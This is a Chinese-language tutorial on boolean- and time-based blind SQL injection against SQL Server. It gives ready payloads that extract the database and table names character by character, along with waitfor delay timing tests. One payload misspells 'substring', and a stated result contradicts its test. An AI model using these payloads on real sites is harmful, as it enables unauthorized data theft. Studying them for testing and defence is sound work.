SQL Server的注入方式和MYSQL注入的原理上是相通的,关于布尔盲注和时间盲注可参考的文章:4-Web安全——SQL盲注
使用布尔盲注获取数据库名:
id=1' and ascii(substring(db_name(),1,1))>80 --+
使用二分法对数据库名进行猜解,第一个字符的ascii码值是115,正好是字母s:
举例,使用布尔盲注查询表名时就可以构造查询表名的sql语句作为参数传入到substring函数中。
查询表名的sql语句:
select top 1 table_name from information_schema.tables
作为参数传入到substring函数中
id=1' and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=117 --+
ascii码值为117的字符就是字母u。
关于sql server数据库的时间盲注用到的函数:waitfor和if else 。
waitfor :指定触发语句块,存储过程或事务执行的时间,时间间隔或事件。函数原型:
waitfor(delay time | TIME time)
delay表示过了指定时间后再执行sql
TIME表示到了指定时间后再执行sql
time表示指定的时间,其格式为:HH:MM:SS,最长可为24小时
举个例子:
select * from users where id=4 waitfor delay '00:00:03';
该SQL语句表示过了三秒后,再执行SQL语句。
if语句是用于条件判断的:
if(1>0) begin xxx end else begin xxx end
else前的begin表示条件为真执行的动作,else后的begin表示条件为假时执行的动作。
举个例子,该图表示如果1大于2则查询id为1的用户名和密码,否则查询id为2的用户名和密码:
使用waitfor delay语句的执行时间来判断当前网页的闭合方式:
通过事件盲注的方式获取数据库名字:
if(ascii(subtring((db_name()),1,1))>100)
begin
waitfor delay '00:00:00'
end
else
begin
waitfor delay '00:00:04'
end
可以看到数据库名的第一个字符的ascii码值是不大于150的:
写在最后:由于在学习MYSQL注入方式中对sql盲注的原理和方式已经非常详细的介绍了一遍,本篇将着重介绍sql server盲注的sql语法和思路,以及与其他数据库注入方式之间的差异。